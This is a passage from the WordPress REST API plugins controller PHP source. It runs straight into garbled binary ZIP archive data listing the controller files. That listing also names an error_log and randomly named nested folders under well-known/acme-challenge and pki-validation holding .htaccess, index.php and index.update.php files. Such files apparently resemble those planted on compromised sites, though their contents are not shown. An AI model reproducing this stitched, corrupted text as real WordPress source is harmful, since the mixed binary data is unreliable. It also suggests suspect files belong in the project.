"plugin" parameter is a valid path. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return bool */ public function validate_plugin_param( $file ) { if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) { return false; } $validated = validate_file( plugin_basename( $file ) ); return 0 === $validated; } /** * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended. * * @since 5.5.0 * * @param string $file The plugin file parameter. * @return string */ public function sanitize_plugin_param( $file ) { return plugin_basename( sanitize_text_field( $file . '.php' ) ); } /** * Checks if the plugin matches the requested parameters. * * @since 5.5.0 * * @param WP_REST_Request $request The request to require the plugin matches against. * @param array $item The plugin item. * @return bool */ protected function does_plugin_match_request( $request, $item ) { $search = $request['search']; if ( $search ) { $matched_search = false; foreach ( $item as $field ) { if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) { $matched_search = true; break; } } if ( ! $matched_search ) { return false; } } $status = $request['status']; if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) { return false; } return true; } /** * Checks if the plugin is installed. * * @since 5.5.0 * * @param string $plugin The plugin file. * @return bool */ protected function is_plugin_installed( $plugin ) { return file_exists( WP_PLUGIN_DIR . '/' . $plugin ); } /** * Determine if the endpoints are available. * * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present. * * @since 5.5.0 * * @return true|WP_Error True if filesystem is available, WP_Error otherwise. */ protected function is_filesystem_available() { $filesystem_method = get_filesystem_method(); if ( 'direct' === $filesystem_method ) { return true; } ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() ); ob_end_clean(); if ( $filesystem_credentials_are_stored ) { return true; } return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) ); } /** * Retrieves the plugin's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'plugin', 'type' => 'object', 'properties' => array( 'plugin' => array( 'description' => __( 'The plugin file.' ), 'type' => 'string', 'pattern' => self::PATTERN, 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'name' => array( 'description' => __( 'The plugin name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'plugin_uri' => array( 'description' => __( 'The plugin\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author' => array( 'description' => __( 'The plugin author.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'author_uri' => array( 'description' => __( 'Plugin author\'s website address.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'description' => array( 'description' => __( 'The plugin description.' ), 'type' => 'object', 'readonly' => true, 'context' => array( 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'The raw plugin description.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The plugin description formatted for display.' ), 'type' => 'string', ), ), ), 'version' => array( 'description' => __( 'The plugin version number.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), 'network_only' => array( 'description' => __( 'Whether the plugin can only be activated network-wide.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_wp' => array( 'description' => __( 'Minimum required version of WordPress.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'requires_php' => array( 'description' => __( 'Minimum required version of PHP.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'textdomain' => array( 'description' => __( 'The plugin\'s text domain.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the collections. * * @since 5.5.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['status'] = array( 'description' => __( 'Limits results to plugins with the given status.' ), 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), ), ); unset( $query_params['page'], $query_params['per_page'] ); return $query_params; } } PK���������!�f[��[��#����������������class-wp-rest-themes-controller.phpnu�[��������PK���������!�K����"������������[��class-wp-rest-users-controller.phpnu�[��������PK���������!� i-)��)��-�������������class-wp-rest-font-collections-controller.phpnu�[��������PK���������!�k����4������������H�class-wp-rest-abilities-v1-categories-controller.phpnu�[��������PK���������!�;U 2�� 2��.������������i�class-wp-rest-abilities-v1-list-controller.phpnu�[��������PK���������!�Ɩ8 ��8 ��#�������������class-wp-rest-blocks-controller.phpnu�[��������PK���������!�Lz-��z-��-������������ �class-wp-rest-abilities-v1-run-controller.phpnu�[��������PK���������!�Rvm<��<��&�������������class-wp-rest-autosaves-controller.phpnu�[��������PK���������!�c?��(�������������class-wp-rest-attachments-controller.phpnu�[��������PK���������!�nU$��U$��"�������������class-wp-rest-icons-controller.phpnu�[��������PK���������!�hE(��E(��*������������s�class-wp-rest-post-statuses-controller.phpnu�[��������PK���������!�h��h��(������������,�class-wp-rest-block-types-controller.phpnu�[��������PK���������!�=7��7��'������������g�class-wp-rest-post-types-controller.phpnu�[��������PK���������!�^yP2��P2��.�������������class-wp-rest-pattern-directory-controller.phpnu�[��������PK���������!�h��h��$������������7��class-wp-rest-widgets-controller.phpnu�[��������PK���������!�U|Ӿ����&������������yi�class-wp-rest-templates-controller.phpnu�[��������PK���������!�_aV��aV��(�������������class-wp-rest-view-config-controller.phpnu�[��������PK���������!�6��6��'������������FZ�class-wp-rest-taxonomies-controller.phpnu�[��������PK���������!�k"��"��+������������\�class-wp-rest-menu-locations-controller.phpnu�[��������PK���������!�%ۨE��E��*������������j�class-wp-rest-font-families-controller.phpnu�[��������PK���������!�Tl&��l&��(�������������class-wp-rest-site-health-controller.phpnu�[��������PK���������!�i,��,��#������������H!�class-wp-rest-search-controller.phpnu�[��������PK���������!�����'������������tN�class-wp-rest-menu-items-controller.phpnu�[��������PK���������!�t67]��]��*�������������class-wp-rest-global-styles-controller.phpnu�[��������PK���������!�^��^��2������������/�class-wp-rest-application-passwords-controller.phpnu�[��������PK���������!�|[MB��B��"������������y�class-wp-rest-menus-controller.phpnu�[��������PK���������!�0j*>��>��%�������������class-wp-rest-sidebars-controller.phpnu�[��������PK���������!�_����+������������ �class-wp-rest-block-renderer-controller.phpnu�[��������PK���������!�S+"��"��/������������>' �class-wp-rest-template-revisions-controller.phpnu�[��������PK���������!� ����/������������I �class-wp-rest-template-autosaves-controller.phpnu�[��������PK���������!�Z(��Z(��%������������h �class-wp-rest-settings-controller.phpnu�[��������PK���������!�}����%������������P �class-wp-rest-comments-controller.phpnu�[��������PK���������!�8'����5������������ �class-wp-rest-block-pattern-categories-controller.phpnu�[��������PK���������!�X2N<x��<x��&������������ �class-wp-rest-revisions-controller.phpnu�[��������PK���������!�<iJ��J��)������������ �class-wp-rest-widget-types-controller.phpnu�[��������PK���������!�DBd_J��_J��������������^ �class-wp-rest-controller.phpnu�[��������PK���������!�zIP��IP��(������������ �class-wp-rest-url-details-controller.phpnu�[��������PK���������!�aǣܷ�ܷ� ������������% �error_lognu�[��������PK���������!�������������K������������:�v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/index.htmlnu�6$��������PK���������!�������������J�������������v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/.htaccessnu�6$��������PK���������!�������������C������������/�v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/index.htmlnu�[��������PK���������!�������������B�������������v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/.htaccessnu�[��������PK���������!�������������P�������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/index.htmlnu�6$��������PK���������!�������������O�������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/.htaccessnu�6$��������PK���������!�������������P�������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/index.htmlnu�6$��������PK���������!�������������O�������������v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/.htaccessnu�6$��������PK���������!�������������H�������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/index.htmlnu�[��������PK���������!�������������G�������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/.htaccessnu�[��������PK���������!�������������H�������������v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/index.htmlnu�[��������PK���������!�������������G������������y�v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/.htaccessnu�[��������PK���������!�{O � �%�������������v1/css/src/files/awsyy/yjnj/index.phpnu�6$��������PK���������!�!YU�U�,������������QR�v1/css/src/files/awsyy/yjnj/index.update.phpnu�[��������PK���������!�(3��3��4�������������class-wp-rest-global-styles-revisions-controller.phpnu�[��������PK���������!�/>��>��-�������������class-wp-rest-edit-site-export-controller.phpnu�[��������PK���������!�xp8x��x��-�������������class-wp-rest-icon-collections-controller.phpnu�[��������PK���������!�gK\3��3��0�������������class-wp-rest-navigation-fallback-controller.phpnu�[��������PK���������!�yu��u��'�������������class-wp-rest-font-faces-controller.phpnu�[��������PK���������!�~,�,�"�������������class-wp-rest-posts-controller.phpnu�[��������PK���������!�%P$��P$��+������������&�class-wp-rest-block-patterns-controller.phpnu�[��������PK���������!�Ćv&��&��,������������1K�class-wp-rest-block-directory-controller.phpnu�[��������PK���������!�^u��u��"������������Br�class-wp-rest-terms-controller.phpnu�[��������PK���������!�|.qqo��qo��$������������ �class-wp-rest-plugins-controller.phpnu�[��������PK����>�>���l���